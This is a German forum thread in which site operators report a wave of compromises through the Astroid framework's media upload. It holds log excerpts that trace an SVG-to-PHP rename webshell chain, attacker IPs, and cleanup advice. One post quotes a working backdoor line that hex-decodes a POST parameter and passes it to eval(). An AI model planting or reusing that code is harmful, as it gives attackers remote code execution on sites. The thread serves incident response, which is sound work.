Astroid Framework Angriffswelle

Mich hat es leider auch erwischt.

Bei mir wurde die Seite heute ebenfalls kompromittiert. Aufgefallen ist es mir zuerst dadurch, dass die Seite nicht mehr normal erreichbar war und dass heute Morgen sehr viele Ordner bzw. Verzeichnisse plötzlich denselben Änderungszeitpunkt hatten. Danach habe ich Access- und Error-Logs geprüft, und das passt bei mir sehr deutlich zu dem hier beschriebenen Astroid-Fall.

In meinem Access-Log sehe ich mehrfach dieselbe Kette:

Zuerst ein Request über den Astroid-Media-Endpunkt im Backend, also Upload in das images-Verzeichnis.

Danach direkt ein Rename von einer .svg auf eine .php.

Anschließend sofort der direkte Aufruf der erzeugten Datei im /images/-Verzeichnis.

Konkret taucht bei mir dabei immer wieder die Datei 47785d75cdd3.php auf.

Ein paar Beispiele aus dem Log:

16.03.2026 um 00:28:42
IP: 89.188.178.88
Upload über Astroid Media, danach Rename von 47785d75cdd3612.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

16.03.2026 um 01:34:40
IP: 198.186.130.10
Rename von 47785d75cdd3983.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

16.03.2026 um 02:05:02
IP: 155.212.0.109
Rename von 47785d75cdd3656.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

16.03.2026 um 03:11:29
IP: 46.246.126.191
Rename von 47785d75cdd3146.svg auf 47785d75cdd3.php, danach direkter Aufruf von /images/47785d75cdd3.php

16.03.2026 um 03:42:04
IP: 89.188.178.88
erneut dasselbe Muster mit 47785d75cdd3907.svg

16.03.2026 um 04:47:06
IP: 198.186.130.10
erneut dasselbe Muster mit 47785d75cdd3836.svg

16.03.2026 um 05:16:33
IP: 155.212.0.109
erneut dasselbe Muster mit 47785d75cdd3526.svg

Die Datei 47785d75cdd3.php taucht bei mir sogar schon vorher direkt im Zugriff auf:

16.03.2026 um 00:05:04
IP: 45.143.20.147
direkter GET auf /images/47785d75cdd3.php
direkt danach POST auf dieselbe Datei

Im Error-Log ist dann auch klar zu sehen, dass diese Datei nicht nur irgendwo herumliegt, sondern tatsächlich ausgeführt wurde. Dort taucht sie über phar://.../images/47785d75cdd3.php/... auf. Außerdem sehe ich dort eval(), mkdir() und fopen(). In einem Fall wurde sogar versucht, in einen anderen VHost auf demselben Server eine Datei namens accesson.php zu schreiben. Für mich ist das eindeutig kein normaler Uploadfehler mehr, sondern ausgeführter Schadcode.

Danach sehe ich weitere Folgeaktivitäten über dieselbe Datei. Zusätzlich tauchen bei mir noch cd2bcb1844.php und da6f0535a4.php im /images/-Verzeichnis auf.

Beispiele dazu:

16.03.2026 von 01:29:47 bis 01:30:04
IP: 45.143.20.147
mehrere POSTs auf /images/47785d75cdd3.php
danach Zugriffe auf /images/cd2bcb1844.php

16.03.2026 von 01:52:45 bis 01:52:49
IP: 109.107.178.102
mehrere POSTs auf /images/47785d75cdd3.php
dazwischen Zugriffe auf /images/da6f0535a4.php

16.03.2026 um 02:11:04 und 02:11:05
IP: 109.107.178.102
wieder POSTs auf /images/47785d75cdd3.php
danach Zugriffe auf /images/cd2bcb1844.php

16.03.2026 um 05:39:24 und 05:39:25
IP: 45.143.20.147
wieder POSTs auf /images/47785d75cdd3.php

16.03.2026 von 05:42:12 bis 05:42:17
IP: 109.107.178.102
wieder POSTs auf /images/47785d75cdd3.php
danach erneut Zugriffe auf /images/da6f0535a4.php

16.03.2026 um 05:44:27 und 05:44:28
IP: 109.107.178.102
wieder POSTs auf /images/47785d75cdd3.php
danach erneut /images/cd2bcb1844.php

Später lief bei mir dann noch etwas über /image/index.php. Das dürfte auch mit den massenhaften Änderungen an Ordnern bzw. Verzeichnissen zusammenhängen.

Dazu sehe ich unter anderem:

16.03.2026 um 07:23:07
IP: 84.32.44.39
POST /image/index.php

16.03.2026 um 07:37:12
IP: 82.29.67.245
POST /image/index.php?op=list&path=

Im Error-Log sieht man kurz danach ganz konkret, dass über /image/index.php per eval() versucht wurde, in mehreren Unterverzeichnissen .htaccess-Dateien zu schreiben. Die genauen internen Pfade poste ich hier bewusst nicht, aber es waren mehrere Bereiche gleichzeitig betroffen. Das passt bei mir zeitlich sehr gut zu dem Moment, an dem plötzlich so viele Ordner denselben Änderungszeitpunkt hatten.

Die IPs, die bei mir im direkten Zusammenhang mit dem Vorfall auftauchen, sind bisher:

45.143.20.147
89.188.178.88
198.186.130.10
155.212.0.109
46.246.126.191
109.107.178.102
188.191.28.166
84.32.44.39
82.29.67.245

Für mich sieht das daher sehr klar nach erfolgreicher Ausnutzung über den Astroid-Media-Weg aus, danach nachgeladener Payload bzw. Webshell und anschließend weiteren Folgeaktionen.

CryoW

Da Du hier schreibst, hast Du sicher diesen Thread durchgelesen.

In Kurzform, daher von #36:

... ein Backup von vor 22.02.26 einspielen oder die Seite professionell bereinigen lassen.
Danach gibt es ein Update vom Astroid.

Unbedingt: Administrator Verzeichnissschutz (welches man sowieso haben sollte).

Liebe Grüße
Christine

Ich kann die Seite nicht auf den 22.02. zurücksetzten, da dann alle Buchungen etc. weg wären, da dies eine aktive Buchungsseite ist. Wir haben Sie auf Sonntag früh zurückgesetzt und können nur hoffen, dass vorher noch nichts manipuliert war. Versuche gerade infitierte Stellen zu finden. Eine hatte ich schon: astroid_threesss/index.php

Ganz oben steht dort diese Zeile:

$param = 'c'; $inputCode = filter_input(INPUT_POST, $param); $decoded = hex2bin($inputCode); eval($decoded);

Zitat von CryoW

nur hoffen, dass vorher noch nichts manipuliert war

Du könntest es ja an den Plugins erkennen.

Es gibt wohl User, die es mit dieser Anleitung lösen konnten:

System - BLPayload after update to 3.3.12 · templaza astroid-framework · Discussion #1444

Updated to version 3.3.12 and the System - BLPayload exploit has still got past the security patch. I removed the last version a few days ago then updated to…

github.com

Aber keine Garantie dafür!

Ansonsten wie schon in #36/#62 erwähnt.

Ich hatte mir RSFirewall installiert und das hat noch ca. 20 Dateien gefunden. Auch Bilder etc.. So ziemlich in jedem denkbaren Verzeichnis war irgendwo etwas.

Die versuchen es zwar weiterhin, aber ist ja jetzt alles zu:

CryoW habe ich das richtig verstanden?

Du hattest die RSFW installiert aber keinen zusätzlichen htaccesspw Schutz fürs Backend?

Hab ich erst danach installiert

Zitat von CryoW

Die versuchen es zwar weiterhin, aber ist ja jetzt alles zu:

WOher willst du das wissen?

Nur um das noch mal klar zu machen. SObald die Lücke 1x ausgenutzt wurde, hilft es in den meisten Fällen gar nichts mehr sich auf einen Backend-htaccess-Schutz zu verlassen. Warum: Weil längst neue Backdoors angelegt wurden, die sonstwo und einfach erreichbar im Space herumliegen und weitere Backdoors anlegen, die die ehemalige Lücke nicht brauchen. Quasi Lawine. Siehste ja selber. Und das Vertrauen in Scanner, welcher Art auch immer, ist vielleicht eine kleine, zusätzliche Hilfe bei der Bereinigung, aber niemals ausreichend, um alles loszuwerden. Weil hochgeladene Schadcodes so mannigfaltig sein können oder längst in der DB ... usw. usf.

Es gibt ja auch die Möglichkeit die Buchungen aus der kompromittierten Datenbank zu übernehmen.

Das wird eine bestimmte oder mehrere Tabellen sein, die man dann exportieren und in das Backup importieren kann.

Zitat von CryoW

Ich kann die Seite nicht auf den 22.02. zurücksetzten, da dann alle Buchungen etc. weg wären

Ist halt die Frage, was wichtiger ist.

In diesem Fall würde ICH auf jeden Fall einen Profi beauftragen. Auch im Sinne deiner Kunden.

Ich weiß nicht, was passiert. Aber vielleicht könnte der Hack ja 'weitergetragen' werden. K.A.

ach verflucht, ich bin unter den Opfern.

Ich habs eigentlich super schnell nach ~5 Minuten gemerkt, falls wer das Verhalten nachvollziehen will:
- 500 Fehler
- Ordner in der Nacht alle auf einem Datum gewesen 04:22 rum
- Wordpress-folder (!!) und php files sind erschienen
- Dann hab ich sehr schnell den ISP kontaktiert ( 0,0 reaktion) und alles gelöscht.

Tjoa und nun steh ich da mit meinem Salat, alles in ordentlich und möglichst auf alle extensions und frameworks verzichten.
Was für eine kak Arbeit.

Scanner hab ich auch mal drüber laufen lassen in einer abgeschirmten Umgebung, ui ui ui.

Zitat von Coralyn

- Dann hab ich sehr schnell den ISP kontaktiert ( 0,0 reaktion) und alles gelöscht.

Hoffentlich war das nicht zu schnell gehandelt. Vielleicht waren im Backup-Ordner noch

saubere Backups vorhanden.

Die Backups beim Hoster, je nachdem, welchen du nutzt, könnten auch schon alle überschrieben worden sein.

Ansonsten ein älteres Backup von vor 22.02.2026 einspielen.

Zitat von Coralyn

und möglichst auf alle extensions und frameworks verzichten.

Ja, kann jeder sehen, wie er will.

Natürlich gibt es keine 100%ige Sicherheit und einige Frameworks und Erweiterungen wurden ja auch schon gehackt.

Aber wenn man Sicherheitsempfehlungen beachtet und nutzt, kann man die Möglichkeit eines Hackangriff doch sehr reduzieren.

Ich arbeite mit Erweiterungen und teilweise auch mit Frameworks schon über 18 Jahre. Bisher nichts.

Heißt aber nicht, das es irgendwann mal passieren könnte.

*Klopf*Klopf*Klopf*

Bei Hetzner gibt es halt nur maximal 7 Tage Backup. Vieleicht noch interesannt, dass die betroffene Seite im betroffenen Zeitraum für ein paar Stunden irgendwie eine Weiterleitung zu einem Shopyfi Shop hatte. Haben wir erst bemerkt, als Google Fehler in strukturierten Dateien gemeldet hatte, welche alle am betreffenden Tag indiziert wurden.

Zitat von Re:Later

WOher willst du das wissen?

Nur um das noch mal klar zu machen. SObald die Lücke 1x ausgenutzt wurde, hilft es in den meisten Fällen gar nichts mehr sich auf einen Backend-htaccess-Schutz zu verlassen. Warum: Weil längst neue Backdoors angelegt wurden, die sonstwo und einfach erreichbar im Space herumliegen und weitere Backdoors anlegen, die die ehemalige Lücke nicht brauchen. Quasi Lawine. Siehste ja selber. Und das Vertrauen in Scanner, welcher Art auch immer, ist vielleicht eine kleine, zusätzliche Hilfe bei der Bereinigung, aber niemals ausreichend, um alles loszuwerden. Weil hochgeladene Schadcodes so mannigfaltig sein können oder längst in der DB ... usw. usf.

Dann müsste man schon was in den Logs sehen. Bis jetzt sind es nur andauernd Zugriffsversuche auf die alten, nun entfernten Dateien.

Wenn jetzt jeder seine individuellen Einstellungen und Aktivitäten hier postet, dann wird der Thread immer größer und verirrt User(innen), welche schnell wissen wollen was zu tun ist. Es ist alles genau erklärt. Dazu muss man die ersten 2 Seiten des Threads lesen und den Links folgen.

Ich schließe diesen Thread. Wer spezifische Fragen hat, kann gerne einen neuen Thread aufmachen.